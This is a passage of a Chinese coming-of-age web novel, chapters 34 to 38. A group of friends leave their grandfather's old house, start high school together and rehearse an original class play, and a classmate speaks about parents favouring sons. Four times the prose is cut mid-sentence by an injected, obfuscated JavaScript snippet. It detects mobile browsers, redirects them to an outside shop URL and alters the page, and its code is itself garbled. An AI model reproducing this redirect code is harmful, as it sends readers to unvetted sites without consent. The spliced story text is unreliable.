夏日燥热,没有电扇更是难熬,空气被暑热粘连在一起,触及皮肤变得粘稠,化作汗下。 江韫北从井里打上来几桶井水,一桶冰汽水,一桶冰西瓜,一桶拿来浇身体,身上得带着水,才不会被炎热攻陷。 到晚上,电还是没来。一条巷的人都将桌椅茶盘搬到外面,点起蜡烛,打开手电筒,光很微弱,却比四处亮堂更有意思。 阿爷拿出应急灯,徐澄月自告奋勇踩木梯装上门廊,被狗鼻子江韫北嗅着发现,不可避免的,再次挨了一顿骂。 但骂着骂着又停了,叫她站好别动,方之敛几人恰好也在梯子边忙活,他调好相机参数和位置,让阿爷拿着,自己快速跑进镜头,呼喊伙伴:“看镜头,说茄子。” “咔嚓——”,江韫北相机下,六人团第一张合照,诞生于光线黯淡,燥热难挡的夏夜晚,阿爷老厝的门廊下。 几人脑袋挨着看照片。 徐澄月:“太黑了,脸都没拍清。” 岳清卓:“我一米二的大长腿没给我拍出来!” 俞麟:“是光反射进我眼里吗?好像个奥特曼。” 俞麒:“凑合。” 方之敛:“挺好的,洗出来我们一人一张。” 图片拍得不尽人意,最后还是人手一份,摆在各自的书桌上。 能照明的东西都被徐澄月一一找出来,摆在天井中央铺着凉席的四周。被进去又冲一次凉水澡的江韫北瞧见,后者琢磨一阵,叉着腰大笑:“徐澄月,你演紫薇呢?” 徐澄月跨出来看,还真是,再放张桌子,能演一出紫薇扑倒在一地蜡烛里的戏。 江韫北:“放远点,不被熏死也被烫死。” 收拾妥当,几人躺上去,冰凉的竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022489|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席触及皮肤,舒爽得很。 徐澄月挨着岳清卓躺在最边上,看见还在四周忙碌给他们点蚊香喷花露水的阿爷,喊一声,拍拍摇椅,叫他别忙活了,赶紧过来。 “来咯来咯。” 徐澄月伸脚踩在椅腿上,一下一下踩着,把阿爷晃起来。 阿爷扇着扇子闭目养神,“你们几个,晚上真的要在这睡?” 徐澄月以六人团代表发言,剥夺了其他人的话语权,“对,就在这,一觉到天亮。”反正房间也搬空,只剩一张床板。 话音落下,就听江韫北嚷嚷:“睡一晚,别被蚊子抬走,明天也不用去新家了,直接和蚊子过吧。” 徐澄月用另一只脚,隔着岳清卓踢他,“江韫北你个怂包,阿爷喷了花露水点了蚊香,你敢跑,我就把蚊子全引你房间去。” 江韫北:“最毒妇人心!” 逃不掉,又睡不着,索性铺上飞行棋布,吆喝他们来玩。 徐澄月不去,让他们自己玩,最后一个晚上,她只想安安静静躺着,看天空,数星星,吹吹阿爷扇的风。 耳边伙伴们玩游戏或懊恼或激动的声音高涨,和叽叽喳喳的蝉鸣声交叠,吵闹但并不想去制止。闷热的天气终于有了阵阵凉风,把鸡蛋果的味道送到鼻间,新鲜的想去摘下来吃。 数了好几圈星星,睡意始终没来,阿爷却渐渐响起鼾声,徐澄月坏心,揪下他一根胡子,阿爷懵懵醒来,她大笑,撒着娇让他别睡,再陪着聊聊天。 阿爷对她一向有求必以,问她想聊什么。 徐澄月数着月亮旁的星星,“阿爷,去了新家,是不是就没办法经常看见这么多星星了?” 阿爷笑她傻,“怎么会,都是一片天空,哪会瞧不见。” “可是那里的楼又高又多,我能看到的,只有打开窗,窗那边没有被挡住的天。躺下就能睡觉,就能看星星的地方,城里不会有吧。”徐澄月迷迷糊糊意识到,好像不止阿爷会担心不自在。 阿爷拿了块麦芽糖给她,自己也含一块,“人啊,不会一辈子待在一个地方。就像鸟,刚出生总要在窝里,能看见的也只有小小的巢,半大不大的天空和长得一样的树枝,待久也待腻了。可鸟总会长大,它要飞出去,去看山,去看海,去看土地,去更高的天空,它学会觅食,学会躲避危险,学会给自己筑巢。它也会回去,回去最开始生养它的森林、大树,它的小巢。你们现在啊,就跟这小鸟一样,得准备飞出去咯。” “是吗阿爷。可我有点兴奋,也有点紧张。” “我和你们一样大,坐船离开家乡的时候,也是这样。澄澄别怕啊,去感受兴奋,也去体验紧张,顺利了得意没关系,失败了摔跟头也别怕,你就朝前走,朝你想去的地方走。” 徐澄月在阿爷缓慢悠扬的述说里逐渐睡去。梦里有旧旧的老厝,有无边的田野,有阔朗的天空。 第二天一早,徐爸请来车队的师傅,帮忙搬家。 物件一件件被搬进新房,父亲指引他们放在何处,母亲准备茶水请他们歇脚。 憨厚的大叔撒去满额汗,不大好意思接,“一身汗一身土,别把你们新房子给折腾脏了,不喝了不喝了。” 徐澄月帮母亲招呼他们,递水递茶,接上他们的话:“没事,我们都带着泥土味。” 35. 第 35 章 暑假最后一周,阴雨绵绵。直到开学那天才放晴,艳阳天,将前面的湿漉阴沉晒得一干二净。 这天也忒懂人情世故了吧。散漫两个月的徐澄月睡眼朦胧地吐槽。 方之敛比约定时间早到她家楼下,他们家在前面一栋,直线距离100不到。两人骑上车,去找住在前面小区的江韫北几人。 “瞧瞧这些大人,简直太默契了,搬个家都能再凑一块。” 这话自他们搬家,江韫北就唠叨过无数回,徐澄月听得耳朵起茧子,踢一下他车轮胎,让他闭嘴。 江韫北瞪她一眼,追上去扯她辫子,挨岳清卓一脚,才消停,数了数人数,又感慨起来,“要是俞麟在就好了。”转身问俞麒,他是周末才回来吧,得到他点头回应,“算了,他在那过得才自在。” 他们住的地方离学校不远,二十多分钟路程,停好车后,按着地标指示去找分班表。 徐澄月挽着岳清卓,猜测:“阿敛和俞麒应该会在一个班吧?” 与其他学校一样,朝中也分平班快班,每个年级20个班,各一半,但也有个约定俗成的传统,入学成绩前30名的,会分在同个班,与之前芜洋中学快1班差不多性质。这个班汇集各科人才,学习节奏快,难度大,被校内人戏称为魔鬼班,但进了这个班,也意味着半只脚踏进双一流大学。 岳清卓也是如此猜测,“和初中比起来,这个应该才是大怪。”毕竟汇聚各市人才,压力可想而知。 徐澄月想,脑子太好也是个问题,三年又三年,也不知道他们能不能熬住。 江韫北这时凑上来神叨叨地说:“待会有惊喜。” 什么惊喜?两人追问,他难得守口如瓶。 看到分班表,才知道惊喜是什么。 他们三个人的名字,出现在同一张分班表里。 徐澄月狐疑地看向他,“你搞的?” “我又不是校长儿子,”江韫北白她一眼,“上回我爸妈谈生意认识了教导主任,请他帮的忙。” 而方之敛和俞麒,如他们所料,在一个班,20班,分班表按成绩排列,他们前头还有几人,两人看了好一会,默契地转头,对上眼,眉一挑。 方之敛说:“摸底考试,干上去?” 俞麒笑了,伸手与他交握,“嗯,这次我得赢你。” 两人开怀大笑,旁边三人看呆了,倒是第一次见他们表现出这么强的胜负欲。不过帅呆了,身为朋友,他们有荣与焉。 17-20班在同一楼层,几人一道过去。 在走廊里碰上何意霖,徐澄月立马激动上前和她抱在一块,有一阵没见,都想念得紧。得知她在19班,徐澄月有些遗憾。 何意霖安慰:“没事,就几步路的距离,不过你们仨也太有缘了吧。” 徐澄月告知她缘由。 何意霖笑着调侃江少爷还有这人脉,又聊了几句别的,就说得回自己班了。转身瞬间,终究难掩低落。 进教室没多久,班主任就来了。是位挺年轻的女人,姓温,教数学,人如其名,看着很和善,说话也温柔风趣,不费什么力的,就让全班同学喜欢上了。 “知道你们大概都不爱自我介绍,咱们就暂时省去这个环节了,听好哦,我说的是暂时。先各自熟悉一段时间,到时候就不会紧张到说不出话。我们今天要完成的事很简单,排座位,选班干。” 座位表出现在幕布上,温沁说:“为了减少你们到一个新环境的陌生感,也希望能快速和新同学熟悉起来,每一组我都安排几个相同初中的人,当然,初中认不认识我就做不了主了,不过同个母校,应该能找到聊天话题。” 这样贴心的安排下,徐澄月和岳清卓成为同桌,江韫北则被安排到另一个组去。 调完座位,选班干,用的自荐方式,没人报名,再由老师选定。 生面孔很多,有些脸盲的徐澄月,把票都投给最后一位竞选的同学。体委嘛,有几个人报名,理所当然的,投给了江韫北。 就这样,在有序但某些环节又透出一丝慌乱中,开启了他们的高中。 * 摸底考试是每场升学的见面礼。有些人从容不迫,有些人焦头烂额,成绩和排名,会让每一个流连假期的人清醒。 被江韫北拉着拍了半个暑假照片的徐澄月,看着除物理外的几门理科,叹气,果然,方之敛才是她学习路上的明灯。江韫北,整一绊脚石。 但她并不着急,才开始,慢慢来。 扭头看岳清卓,她正看年级排名表,看得入神。忽而想起先前好友的壮志,立马凑上去,瞄两眼,拍案而起,比当事人还激动,“不愧是阿敛和俞麒!” 相同的分数,并列第一,真的把入学第一名干到第三去。 岳清卓高兴之余也为好友担忧,“你看,他们和第二名只差了三分,两道公式的分,很容易被赶上的。” 徐澄月说她想太多,趁刚开学比较轻松,该玩玩,干什么操心年级第一的成绩,再说了,要操心也是操心自己的。 “也是。”岳清卓正要将成绩单传上去,被窜过来的江韫北截胡。 “哟!”江少爷掐着嗓子,“两人都考了第一啊,得请我们吃饭。” 请吃饭当然不是吃学校食堂,刚开学,还不用晚自习,五点就放学。徐澄月去19班喊上何意霖,让她一块去。都是初来乍到,也不知道哪里东西好吃,就骑车沿路转悠,看到一家烧烤店学生多,就在那停下。 等了一会才空出一张桌,各自挑选了喜欢的烤串,拿了汽水,坐回桌上,闻着油炸香味,饿得不行。 何意霖暑假就从徐澄月那得知他们几家人搬到市里的事,不由得羡慕,又能凑一块学习和玩。 徐澄月安慰:“你也可以啊,周末不回家就去我家,两大学神你任用。” “就是。”江韫北搭腔,“又不是不带你玩。” 何意霖感激地握住好友的手,将暑假去旅游带回来的东西送给他们,“灵隐寺求的红绳,咱仨一人一条。你们男孩的是平安袋,就挂书包上或者放书柜里,俞麟不在,俞麒你帮我转交一下。灵隐寺很神奇的,心想事成。” 岳清卓逗她,“那你求了什么愿?” 何意霖支吾片刻,眼神不自觉飘向对面,又立马离开,“当然是求学业啊,我吊车尾考进朝中,不得拜一拜保佑我高中学得好一点。” “倒也可能,以前考试,阿爷就喜欢上香保佑我们考好。”冷不丁提到阿爷,徐澄月有些低落,“我想阿爷了。” 这个点,阿爷应该做好饭了,挂着条白毛巾,白色背心,棕色大裤衩,在鸡蛋果树下乘凉。 烧烤这时送上,江韫北挑一串鸡翅堵住她的嘴,“喂喂喂徐澄月,你这就像还没断奶的小孩,又不是多远,想回去就能回去,伤心个什么劲。” 徐澄月立马抖出他的糗事,“哦,也不知道当初是谁去了阳城,怕回来舍不得走,都不敢回来,还会在家里偷偷哭呢。” 江韫北被呛个大红脸,嚷嚷:“徐澄月你瞎说什么,谁哭了,再说阳城的距离和这能比吗?” 但大家的重点全在他哭一事上,都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“去吧,正好你们有什么不懂的,一并解决,像以前一样。” 徐澄月暗暗后退,她可不想,这周末她已经打算好了,和江韫北俞麟玩个够。 回到家,住校只有周五下午能回来的俞麟,已经等他们好一会了。几人匆匆拎上几件衣服和作业,又匆匆赶往公车站,有惊无险搭上最后一班公车。 起始站,只有他们几个,大剌剌霸占了后排位置,车窗开到最大,让风灌进来。 风兜住他们的喜悦。 与好友分开一周的俞麟分享欲十分旺盛,絮絮叨叨讲着发生的趣事。 “那你们什么时候可以参加比赛?”徐澄月已经迫不及待想看他赛场上的英姿了。 俞麟说:“快的话这学期,慢的话下学期,反正迟早会有的。哦对,你们知道吗,我教练的女儿,是咱初二那年在植物园帮过的那个女孩。韫北清卓你们还记得吗,那个被抢钱包的女孩。” 江韫北回忆一会,有点印象,但不太记得女孩的样子。岳清卓完全没印象,她只记得两三脚把小偷踢倒在地。 “她那天去我们学校,居然一眼认出我,隔了那么久……” 几人一路说说笑笑回去。 快到站了,徐澄月按捺不住,脑袋伸出去看那个旧旧的,顶生锈的站牌,忽而,视线中出现一道佝偻背影,那人戴着草帽,双手背在身后,朝着他们这个方向焦急地望。大概是老花,还瞧不见这辆越驶越近的711公车。 “阿爷!是阿爷!”她激动地朝伙伴们喊,拎上书包跑到车门等,其他人也高兴地跟在她身后。 他们的阿爷,用家门前那片新鲜的鸡蛋果,做了果茶,就等在回家的路口。 车停下,门打开,徐澄月冲向阿爷,跳到他身上。 “哎哟澄澄慢点,阿爷的老腰哦。” 愈发年老的腰,像烤过火候的木柴,一折就断,但此刻,尚能稳稳承住他的孩子们。 36. 第 36 章 相处一个月后,班级的氛围终于不像初来那会沉闷,但还有点克制,各自以身边人为半径,画了一个只能容纳小组成员的圆圈。 徐澄月是少部分出到圆圈外的人,她是个主动的人,而在这样的陌生环境,主动就会有回响。 即将到来的话剧比赛,成了彼此间破冰的关键。 借这个机会,温沁顺便把延后的自我介绍补上,每个人五分钟,顺便把自己愿意在这次团体活动中担任什么角色也一并说出来。 “可以选择,也尊重比较腼腆的同学,所以你说我愿意在这次活动中担任啦啦队的角色,也是可以的嘛对不对?好,那现在开始,我们班干来打个头。” 先上场的是班长梁嘉和,一个格外活泼的男生,也十分尽心,在过去一个月里,尽职尽责为同学服务,多数人都和他很亲近。 “虽然同学们应该都认识我了,但我还是得郑重介绍一下自己。”他挺直背,像理领结一样理了衣领,“我叫梁嘉和,虽然和那个安嘉和同样的名字,但我不暴力,而且弱得很,连清卓都打不过,哦清卓,就是坐在靠窗边那个女孩子,学跆拳道的,现在是段黑带了,可以打三个我这样的,所以你们不要怕我啊。” 恰如其分的幽默赢得断断续续掌声,他接着说:“我是班长,也是人民公仆,反正以后有什么事都可以找我,我罩着你们!然后这次活动,我本来想当好多角色,又怕我说了其他同学不好说,那我就选择最后大家没有选的角色,为大家鞍前马后!” 一段像宣誓一样的慷慨陈词,换来同学们一致喝彩。有了他做例子,后面的同学也纷纷说出愿意尝试什么角色。 到了徐澄月,看的剩下的“演员”“场记”“道具组”不知道该选什么,于是坦诚:“我会木雕,不过还在学徒阶段,如果有需要道句我可以做,但就是会有点丑,我朋友们形容为脑袋身体分家,但绝对不是我的最终水平。我也可以当场记,给大家跑跑腿。” 而台下选了副导演的江韫北,像领导身边的发言人,给她补充:“老师,徐澄月还会配音,你让她模仿一个海绵宝宝,可像了!” 徐澄月也不扭捏,现场用海绵宝宝的语调来了一句:“江韫北,闭上你的便宜嘴!” 话剧比赛就这样敲定下来,几乎每个人都参与进来,虽然不是每个人都上场,但在温沁的安排下,都领了相应的任务。 班长梁嘉和是总导演,江韫北是副导演,语文课代表杜可颐是编剧,学委岳清卓是武术指导——自我介绍时一套拳法震慑全场,当下被梁嘉和钦点为武指。徐澄月领了个技术和配音的任务,演员则由感兴趣的同学认领。 人员分工分明白了,演什么都还没数。 第一次会议一行人面面相觑,沉默一会后各抒己见,有随大流想演绎课本上比较出名且已经被专业人士演过的篇目,有的另辟蹊径想做个原创剧本,不求挣回名次但求在朝中话剧比赛上留名青史。 徐澄月听完他们的鸿鹄壮志,一脸错愕,敢情面前大家那么腼腆拘谨,是封印没被破除啊,好家伙,想法一个赛一个大胆。 梁嘉和主持大局,细数主创人员各自的强项:“韫北点子多,可颐文笔好,清卓会手脚,澄月会技术,尤靖会二胡,我们真的可以搞个原创剧本,反正要元旦才比赛,还有三个月,可颐,怎么样,你写的来吗?” 杜可颐站起来,转一圈,眼底发亮:“我有个点子,但我要先问你们一个问题,你们怕鬼吗?或者僵尸吗?” 众人不解。 “我之前写了个故事,本来想拿去我培训班演的,老师说就我们这个年龄,影响不好,会吓着人,被毙了,我觉得改一改可以拿来用。” 恐怖向的故事,男生们眼冒金光,女生们……比他们更期待。 “快拿来看看,是什么样的故事。” 杜可颐有备而来,把打印好的剧本分给他们。 二十分钟后。 有些沉默,大家脸上都挂着略显沉重的表情。 杜可颐以为他们也不看好这个剧本,些微失落,正想说算了,却听江韫北和梁嘉和大腿一拍,激动道: “好!我喜欢这个剧本!” 目光移向剩余的几个女生。 岳清卓指着一大段动作戏,“这几个,我都会,我能教你们。这几个,可以有……不那么吓人的跳法。” 演员陈涵说:“故事是不错,但是学校会通过吗?太……” 徐澄月接上:“具有批判性,戳人痛点,而且,可能稍稍有点惊悚。”加上二胡,阴森效果拉满。 杜可颐听取同学意见,“这样,我把剧本修改一下,尽量去掉太吓人的东西,然后我们再拿给温温看,软磨硬泡,我再取个好听点的名字,混淆过关,反正立意也没有偏离社会主义价值观嘛。你们觉得怎么样?” 大家一致同意。 杜可颐信心满满,迫不及待想让伙伴看到最后的成果,悄悄在几节副科上改,又用了几个自习外加几个通宵,就把剧本改出来了。 主创一行人在周五放学找到温沁。 温沁认真看完,先是肯定:“剧本不错,可颐很有天赋,坚持下去以后会有很好发展。”过后提醒:“真的要演吗?虽然立意不错,但学校那边不一定会通过。” 杜可颐和梁嘉和一唱一和,甚至搬出比赛活动说明里一句“鼓励大家发挥想象力和创造力,解放天性”,解释现在就是在践行这句话,况且这剧本立意多深刻,他们才高中,能有这样的觉悟学校知道了也应该是欣慰,把温沁哄得一愣一愣。 温沁只好退一步,“好好好,我不扼杀你们的天性,不过有几处要改得稍微平和点,然后到时填报,名字和立意都要积极向上,还要问过表演的同学,免得有同学共情能力太好入戏后面对心理有影响。” 几人欢呼大笑。 温沁看着他们欢乐模样,头疼到时该怎么帮他们遮掩,算了,人不疯狂枉少年,也就这么一次,总得让他们如愿。 剧本通过后,便是紧锣密鼓地围读剧本,分角色排练。 都是第一次接触话剧,参与的人兴致勃勃,既想尽好自己的职责,也想为集体挣得荣誉,一有空就问两位导演什么时候排练。 温沁高兴他们这么投入,但也不忘提醒他们学习,毕竟元旦前,他们还有两场大考。 但空闲的时间太少,周一到周四要晚自习,六点半到十点,只能趁午休、晚自习前的时间和周末排练,等各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049425|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自捋顺一遍戏,时间过半。 这天中午,徐澄月跟着他们一道排练,其实她参与得不算多,只需要在比赛前把需要的道具做好,但每次排练每个人都积极参与,她也不好落下,就把东西带过来做。 刚刻好一把手枪,窗户边有人喊她,是何意霖。 徐澄月放下东西出去,问她怎么在这。 何意霖高兴地拉着她的手,看着两人手腕上一模一样的红手绳,“我们班和20班今天在隔壁教室排练,知道你在,过来瞧瞧你。” 20班人数少,有些同学以学习为主,不愿过多参加这些活动,学校也尊重他们,便把20班合并到19班,出一台话剧,毕竟是荣誉共享,20班也有一定数量的同学参与。 可惜他们心都在学习上,每次排练都是紧赶慢赶,有时人还凑不齐,现在进展很慢,把何意霖搞得很疲惫,“幸好阿敛和俞麒来帮忙,不然20班的人,我还真管不了。” 徐澄月安慰好友,“放心,阿敛和俞麒都是特别负责的人,肯定会帮你的。对了你们班剧本是你写的吗,我们何大才女的处女座哎!” 何意霖揽了导演和编剧的活,忙得连轴转,哪有时间空出来写剧本,“没有,我们演《范进中举》,不过有一些片段,我小小发挥了一下。” 徐澄月格外捧场,“小发挥也是发挥,我等着看何导何编的大作!” 好友的鼓励让她信心倍增,又问他们班演的是什么。 因杜可颐交待过,怕让学校领导知道,让他们暂时先不要对外说,所以徐澄月只透露是个原创剧本,他们语文课代表写的,具体是什么,不让说。 何意霖理解,也不过多追问,约她下午放学去吃东西,她们好久没一块聊天,徐澄月欣然答应。 下午放学,何意霖早早等在17班门口,老师拖了会堂,十分钟后才有学生陆续出来。她走到窗边,正想让同学喊一下徐澄月,就见一个高高瘦瘦,扎着马尾辫的女孩,蹦蹦跳跳地到徐澄月位置,亲昵地挽起她和岳清卓,不知说了什么,三个女孩齐齐笑出来。正想喊她,又见江韫北耍帅地翻过一张桌子,去和她们说话,话落被那个女生砸一下手臂。 他们看起来好亲密好开心,在同一个班,参与同样的活动,有同样的话题,为同一件事努力,获得同样的开心,让人羡慕。 何意霖不知不觉叹了声气,开解自己他们班也很好,这样的事,她也会和他们班的同学一块做。 她喊了徐澄月,对方欢欢喜喜跑出来抱住她,下一秒却变得郁闷,“意霖,我得和他们去排练,有些配音的工作要我今天试试,要不你等一会我,等我结束我们再去吃东西?” “等你结束我回家的公交车就没有啦!”何意霖大方地放人,“没事,你去排练吧,我们下周再约。” “那好吧,你回去路上小心,下周见。” “好。” 里面那个女生在喊她,徐澄月应了一声,又匆忙同她道别,跑了进去。 何意霖看着他们三个女孩手挽手,江韫北和另一个男生走在他们后头,几人一道消失在楼梯口。 虽然很理解好友,但为什么心里像有根刺,在边缘轻轻划,也不疼,就是有些不舒服。 37. 第 37 章 学期过半,节奏陡然加快,压力也纷沓而来。九个科目,光是课本练习册就能塞满桌子,加上不断发下来的试卷,像一层一层不断卷起来的浪,慢慢将他们拖至大海中央。 徐澄月对着一道数学题差点把刘海卷成冲天辫,还是解不出来,靠着岳清卓抱怨,怎么才高一,就从一头自由奔跑的马变成一头驮了无数担子的骡子,物种还能倒退的吗? 她总是有各种神奇的比喻,岳清卓被逗笑,一面安慰她,一面给她讲题,讲明白了,奇怪道:“不是说数理互通的吗,怎么你物理学得挺好,数学就跟踢钢板似的。”踢不动,还疼了脚。 “可能规则在我这里出现了偏差,我是罪人。”她做了个阿门的动作,“不过也得感谢俞麒,他经常给我讲物理。” “哦,那得让他雨露均沾,给你讲讲数学。” 人在忙碌的时候最容易犯懒,总想着等等,等等之后还有等等。 时间在一天天减少,关乎集体荣誉的话剧比赛,却刻不容缓。 没了最开始接触的好奇,加上剧本背得烂熟,也排练过很多次,同学们渐觉乏味,开始有些不上心,而重视的人,将这事当头等事,亲历亲为,甚至到有些较真的境地,两相比较,难免发生口角,好在有梁嘉和这个和事佬从中调节,也算顺利。 但此刻这一幕,徐澄月觉得,有点难收场。 因一幕来来回回演了好几遍,几个演员同学老是笑场,杜可颐发了脾气,第一次摔了剧本,面红耳赤,斥责他们既然报了名态度就要端正,每个人都要为自己的选择负责。 被说的同学不服气,与她争辩,最后几人不欢而散,杜可颐扭头跑出排练室,争辩的两个女生眼圈红红。 徐澄月立马跟上,回头示意岳清卓安抚教室里的同学。 沿着走廊跑出去没找到人,兜了好几圈,徐澄月才在花坛角落里找到杜可颐,她正抬头望天空,正午明晃晃的太阳往她眼里照,她眼角一闪一闪的。 徐澄月翻遍口袋,只找到一张皱巴巴但确定没用过的纸巾,缓步上前,轻轻碰了碰她肩膀,递上纸巾。 她的动作太轻了,像是怕安慰触动她惹她更伤心一样,碰了两下杜可颐才反应过来,视线落在纸巾上,大大的眼睛装着大大的疑惑,随即了然,眨巴眨巴眼睛,说:“我没哭呀。” 徐澄月有些尴尬,仔细去看,她眼里确实没有眼泪,一时之间不知道该不该收回手。 而下一秒,纸巾被取走,杜可颐用它擦额头,“不过好热,我挑了好久,太阳还是找过来了。” 她抱怨的表情太灵动,让徐澄月忘记尴尬,“可能它知道你现在需要一点陪伴?” “可能是,”杜可颐若有所思,“不过现在你出来了,就先不需要太阳啦,走,我们找个阴凉地。” 两人到宿舍楼下的石台,背后是宿管阿姨办公室,窗户半开,漏出一点风扇的风。 杜可颐盘腿坐着,肩膀轻轻撞一下徐澄月,“澄月,谢谢你出来安慰我。” 徐澄月摇头,“我知道你为这件事付出很多,一时着急,也情有可原。” 杜可颐并不否认,从拿出剧本那天起,她就无比希望能让更多人看到这个故事。 徐澄月也理解,毕竟是创作者,对自己的作品有天然的渴望与保护,既希望能传播出去,又不忍别人轻视半分。 “不止是这样,”杜可颐深吸一口气,为接下来出现在她口中的自己打气,“你们都看过这个剧本,其实故事的主角,有一点我的影子。她是不受家里重视的女儿,我也是。你知道的,我们这里重男轻女很多,起初我以为是我做得不够好,所以家里人才会轻视,所以我拼命学习,成绩名列前茅,在家也很勤快,爸妈都夸我懂事,可是他们还是不够爱我。是的,他们爱,但不够爱,为了弟弟,我需要各种忍让。后来我发现呀,不是我不够好,是因为我不是男孩儿。” “不是的!”徐澄月感受到她流露出的伤心,急切想回应她,“不是因为你不是男孩,是他们的问题,是他们的思想出了差错,或者说是一代一代流传下来的思想让他们认为他们是对的。你看,你很优秀,学习好,才十几岁就会自己写剧本,性格也好,班里同学都喜欢你,虽然刚刚对同学发脾气了,但你也在思考是不是做错了,这么多人都觉得你好,不是因为你是男孩还是女孩,是因为你是杜可颐,性别只是你呈现在我们面前的一部分,我们更喜欢你的灵魂!” 徐澄月以用力的语气来佐证她的观点,但对方没什么反应,让她怀疑是不是说错什么了,回忆一半,被打断,杜可颐用一种非常欣赏的神情望着她。 “澄月,我觉得我应该让贤,把语文课代表给你做。” “啊?” 杜可颐激昂的,像武侠电视剧里,被主角团视作反派,终于遇见与自己一样立场的知己,“你说得非常好,终于有人和我的观点是一样的!之前我一直这样安慰自己,可身边的人和事好像在提醒我,不是的,一切都是因为我不是男孩,他们对我的喜欢并不是因为杜可颐这个人。我很高兴,我找到知音了!” 或许感同身受最能安慰人,徐澄月没什么顾及的,把自己的相似遭遇分享给她,“因为我阿嬷也有点重男轻女,有时对我不太好,我妈就会这样给我讲,所以我才没有因为这个怀疑自己。”但她始终比她幸运,有一对无条件爱她的父母。 “我知道,你爸爸妈妈很爱你。”时常见到她爸爸来接她放学是一回事,她展现出来的自信与活力,才令人羡慕,她是在一个充满爱的环境里长大的。 杜可颐站起来,“你放心,我已经真正懂事了,如果他们不够爱我,那我就好好爱自己。我努力学习,拿奖学金,去报我喜欢的写作课,去做让我快乐的事,我想变强大,强大到不需要他们的爱。到时候我会站得高高的,骄傲地告诉他们,瞧,没有你们,我也能变得很优秀。很酷对不对?我还想让更多人知道,所以有了这个剧本。我当时带着恨意在写,才有那些不太好的画面,如果有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062366|134140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一天这个剧本能被完整接受,我一定要让那些画面出现,我就是不甘心,就是有点恨,现实中的我没办法抒发,但他们管不了我的笔!” 徐澄月第一次见到同龄人像她这样毫不掩饰自己或许会遭谴责的意图,大多数人如果生出有悖于社会准则的思想,也会牢牢捂在心里,生怕被当作另类对待。 徐澄月跟着她站起,真心实意地夸赞:“课代表,你真的很酷!如果有一天真的实现了,我一定捧场去看!” “好,我一定告诉你。”不知不觉中,杜可颐握紧了她的手。 “喂!外面的人在做什么?” 一道尖锐的质问自窗户缝隙传出,两人对视一眼,牵紧手从石台上跳下来,逃之夭夭,等到阿姨打开窗,两道纤细的白色身影在风中跑远了。 跑离宿舍楼,两人气喘吁吁停下来,对视着又笑出来。 杜可颐说:“好了,你陪我去小卖部买点零食吧,我想去给舒语她们道歉。” “好呀。” 午休快结束,两人买完零食回教室,排练的同学也回去了。 杜可颐虽有些闹过别扭后的不自然,但还是特别真诚地把零食分给一群人,“对不起,刚刚是我太着急了,不应该朝你们发脾气,更不应该摔剧本。”又额外给两个和她争辩的女孩道歉,保证下次一定心平气和解决问题。 她态度诚恳,江韫北和梁嘉和帮忙周旋,其他人也知晓排练那会不在状态,便都就着台阶下,说没事,都理解,撕开零食,一吃泯恩仇。 这时杜可颐又开口:“好了,你们接受我的道歉,现在轮到你们给我道歉了。” “啊?”众人面面相觑,疑惑不解。 只有徐澄月,从女孩狡黠的神情里品出来她的意图,他们课代表,很有个性啊。 “一码归一码对吧?”杜可颐给他们讲道理,“我发脾气,是我不对,可我发脾气是因为你们对这件事情不认真,这不仅关乎我们集体的荣誉,它也是我的心血,是我熬了一周写出来,又和班长苦口婆心让老师通过的,既然当初你们都自愿参与,就应该尽职尽责对不对?负责任这件事,无论什么年纪都应该做到,所以我觉得你们得向我道歉。” 一阵沉默,梁嘉和率先开口,赞同杜可颐的说法,很认真说了对不起。 有他开头,其他觉得自己确实敷衍的同学也跟着道歉。 “嗯,我接受了!”杜可颐豪气地,伸手一挥,“下午放学不排练了,回去好好休息,明天再说。” 一场不大不小的矛盾,或许就这样揭过去,明天大家碰面,各自微笑打招呼,又和以前一样。只是难免会在心里落下一根刺,日后见缝插针地冒出来,戳的人不舒服。而杜可颐用一种直白但有理有据的方式,将这根扎得还不算深的刺拔出来,有一点痛,但过后彻底舒坦了。 江韫北从前面挪下来,小声同徐澄月和岳清卓说:“杜可颐,很厉害嘛。” 徐澄月赞同,也很佩服:“课代表超酷!” 38. 第 38 章 高考不考体育,体育课项目比初中丰富许多。每节课学完一节体操后,老师会教一门运动,这学期是排球。 自由活动时间,徐澄月和几个女同学一块练习,没多久练完足球回来的江韫北和梁嘉和看到,嚷着要加入,女生单打变成男女双打,计分轮换。 